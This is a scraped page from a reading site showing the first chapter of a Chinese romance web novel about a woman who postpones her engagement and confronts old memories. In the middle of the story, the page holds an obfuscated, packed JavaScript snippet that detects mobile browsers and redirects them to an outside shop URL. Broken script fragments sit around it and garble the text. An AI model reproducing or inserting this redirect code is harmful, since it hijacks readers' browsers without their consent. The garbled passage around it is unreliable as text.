默认冷灰
24号文字
方正启体

1. 故事开始

作者:虞渡本书字数:K更新时间:
    《蜕夏》


    文/虞渡


    晋江文学城


    2026.3.19


    接近中午十二点半,新光大楼下各类餐饮店人满为患。


    纪明禾端着面碗拼位,刚坐下,温叙白的语音从没关闭的对话框里蹦出来,语声尖锐,像恨不得立即从手机里钻出来吃人一样。


    “我↗糙↘?!”


    前桌有人看热闹,一回头,不成想纪明禾恰好抬眸。


    视线突兀地对上,对面不尴不尬地和她打招呼,“鸣鹤君,没去食堂啊?”


    新光大楼有好几家互联网公司,员工不计其数,纪明禾一时没想起他是哪位,略笑笑,自嘲似的摇头,“可不么。”


    寒暄两句,手机嗡嗡振个没完,她换到左手拿,长按,把满屏的绿长条转化为文字,专心浏览。


    智创-书白:【订婚宴欸我的禾!假也请了,帖子也发了,说取消就取消这么潇洒?】


    智创-书白:【有情况!】


    智创-书白:【你不会真的和llz分手吧?】


    未及时回复,对面的温叙白脑洞已与外太空相连,迅速发来一个:【不会吧,llz出轨了???????】


    万多个问号砸过来,纪明禾淡定咽了一口面,唤醒键盘,不解,【?】


    智创-鸣鹤:(引用)【是llz要和我分手好不好?】


    智创-书白:【……】


    智创-书白:【那就是你出轨了。】


    这回没那么多问号了,语气看起来甚至有种笃定的意味,纪明禾瞠目,但屏幕那头还在痛心疾首:【纪明禾,你糊涂啊!】


    温叙白说话好像不需要喘气,消息争先恐后,急忙忙地跃出,一分钟之内把屏幕占了个满,【你大爷的,上周才答应的求婚啊!】【啧啧啧啧啧】【还能让你把llz给绿了……这小三得多帅、多有钱、多能干啊?!!】


    接着温叙白职业病大爆发:【简历发来我把把关?】


    纪明禾看得直发笑,回她,【当小三也要写简历?】


    温叙白理直气壮,【这年头谁上岗不需要hr火眼测验?】


    然后她神来一笔,【我靠还真有这人啊?喂喂喂喂,不会是你把小三带到你和llz的婚房被抓包了然后当场这样那样那样这样这么狗血吧?!】


    什么东西?纪明禾疑心转文字信息有误,拧眉点开原语音放在耳边听了一遍,而后腾地发笑。


    她没好气地开始戳屏幕回复,句过一半,过道有人端着汤碗路过,纪明禾微微向内收肘避让,不知怎么的,打字的手忽然顿住。


    一格格删掉“我求求你了少看点NTR吧”之类的玩笑话,她重新编辑信息:【别逗,就是当时脑子发热答应的么,冷静几天,觉得就这么结婚有点草率。】


    谎话。


    彻彻底底是谎话。


    她早就注意到李凌洲神神秘秘地筹备些什么,他是个注重仪式感的人,什么乱七八糟牵强附会的节日也要大张旗鼓地过,但七月份对她的生日、他们的纪念日,以及其他任何日子来说都为时过早。


    出入拍卖会却没有送她珠宝,接着收到餐厅发来包场确认的短信,可能吧,她脑子有发热了那么一阵,冷静后只担心李凌洲要犯傻将戒指放进她的甜品里。


    好在没有那么老土。


    某日谨慎用勺子切开蒙布朗,餐桌对面的人忽然起身,单膝跪地。


    看见她点头,李凌洲那双漂亮的眼睛亮得足以与绒布盒里的钻戒媲美。


    怎么会不答应,和李凌洲折腾这些年,她就是奔着结婚去的。


    当天气定神闲把戒指po在朋友圈,到半夜三点多,蔚心蓝的头像出现在提醒列表。


    仅此而已。蔚心蓝只给她点了一个冷冰冰的赞,连句客套的祝福或者问候都没私发。


    智创-书白:【哦……所以少爷生气了,以分手要挟你准时步入婚姻殿堂?】


    时间和场地已提前定好,请帖也发了,临了说延后?


    违约金对李凌洲来说不算什么,难搞的是他家里那些人。


    温叙白还不晓得么,要不是李凌洲家里态度不明,大少爷能等到上礼拜才求婚?这两个人没恋爱之前,一遇上头发竖得和斗鸡似的,一好上了那叫一个如胶似漆,在纪明禾三米之内见不到李凌洲才稀奇的。


    温叙白思忖着,又说:【要不你再好好想想?】


    雾城十二月,天气是阴晴不定的冷,CBD的楼幢隐在朦胧未散的霾里,纪明禾走出面馆,手机传来一声强提醒。


    从特别提醒/强提醒这项功能上线以来,纪明禾就是它忠实的拥趸。


    有幸被加入名单的嘉宾们删删改改,经年只有蔚心蓝没挪过窝。


    绝交那天她们吵得天翻地覆,纪明禾忽然就想起这件事,本来当时就想把蔚心蓝的特别提醒取消的,一回神,看见李凌洲躬身从墙角拾出被她摔得四分五裂的手机。


    “谁惹你了?”李凌洲蹙眉,两人认识以来,他没见过有人能让她这般失控地发脾气。


    纪明禾半句不想再提,敷衍说,“工作上的事。”


    换了新机子,她没再和蔚心蓝联系过,所以取消特别提醒的事就此搁置。


    直到如今,两年过去。


    想想缘由,也不是什么大不了的事,吵来吵去搞得和深仇大恨一样,连群发“新年快乐”也要反复确认勾去了她的名字,完全不给自己率先低头的机会。


    纪明禾垂目看屏幕,消息毫无意外来自李凌洲。


    llz:【谈谈?】


    还谈什么?纪明禾兴致缺缺——提出宴会延期之后,李凌洲根本失去理智,只不过迟疑半秒回复,他要撂了狠话关机,彻夜未归。


    恰好,当夜智创旗下一款产品遇上友商SQL注入攻击。


    纪明禾连轴熬夜稳定好服务器,总部开了八个视频会批斗开发部。


    后端几个开发一个个被点名,人人被喷得满头狗血,荀总拿着鞭子督促他们加班加点地整理故障日志报告,到今天才略微放松。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481819|201789||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    实在烦透了。


    她决定不予理会,直接右滑删除了通知栏上的绿色图标。


    屏幕慢慢暗淡、熄灭,纪明禾目不转睛盯着镜面中妆容精致的自己。


    化妆是职场风度,她也乐于打扮自己,就算拥有第一只口红的当夜有些不好的回忆——


    说起来,那好像是一个晚自习没点名的周六晚上,她载蔚心蓝去滨江路的骑行步道。


    江城太小,不知道是哪位亲朋好友看到她们又在大马路上乱逛,而后多管闲事往蔚心蓝家里告状。


    总之河风清爽,她们坐在河堤旁分享一袋黄瓜味的乐事薯片,被闻声驱车而来的蔚心蓝父母逮个正着。


    她妈妈看见纪、蔚两人嘴唇上的口红差点要晕过去,一言不发取了纸巾,不停往蔚心蓝唇上揩。


    蔚心蓝爸爸开了车门,一边把人往小汽车里赶,转头怒斥纪明禾没有家教,小小年纪学化妆,晚上八九点钟还在大马路上闲逛。


    蔚心蓝急得要落眼泪,不住央求着大人带上纪明禾一同回去,可惜未果。


    江畔很安静,车门关闭的声音在夜色震开,隔着透明玻璃,她看见蔚心蓝的唇角晕染的劣质口红,以及被纸巾摁出的一点点伤损。


    车要走了,蔚爸爸还在瞪她。纪明禾倚住单车把手,仰头,若无其事把剩余的薯片碎碎倒进嘴里。


    她没有纸巾,只能任由油脂和粉末肆无忌惮在手指间留下发粘的阻滞感。


    “明禾……”蔚心蓝趴在车窗,无声对她做口型,“抱歉。”


    记忆急遽翻涌,无处遁形的窒闷随之如那夜江畔潮湿的风一般包裹住她,密匝的寒冷迅速蔓延至四肢百骸,纪明禾猛地移开手机,仰面将眼眶的涩意灌回肺腑。


    疾步向前,她随手拉开路侧待客出租车的车门,埋头坐进后排。


    “老师去哪点的?”司机正摆弄手机支架,不经意往后视镜瞥了眼,很快咳了声,正襟危坐,说道,“您系一下安全带。”


    “西站。”女人一直低头操作手机,听到他的话便又伸手去拉安全带,浓密蓬松的栗色长卷在白皙的脸侧轻轻拂过,她随意将散开的发丝拢至耳后,露出耳垂上一只澄金的莫比乌斯环。


    “接人么,”司机打着方向盘起步,见她没带行李,想想,换了普通话问,“去出站广场?”


    “不。”纪明禾从购票成功的界面退出来,随后揿灭屏幕,侧脸看向窗外,“进站,赶一点三十的火车,麻烦您快一——”


    话未落音,车身猛得一顿,刺耳的刹车擦响伴随怒骂,司机砸了一把方向盘,很快探出车窗,声线高昂如同白日见鬼,“你他妈的找死啊?!”


    拦在车前的男人个子很高,肩宽腿长,他臂上搭着件黑色西装外套,袖口半挽,嶙峋冷白的手腕上挂着一串儿孤零零的红绳。


    藏在金丝眼镜后深邃的眉目淬冰似的冷淡,李凌洲完全无视旁人叫嚣,视线一寸不移盯住车后座,同时绕开车头走往另一端,拽开后车门,俯身面无表情地坐进去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)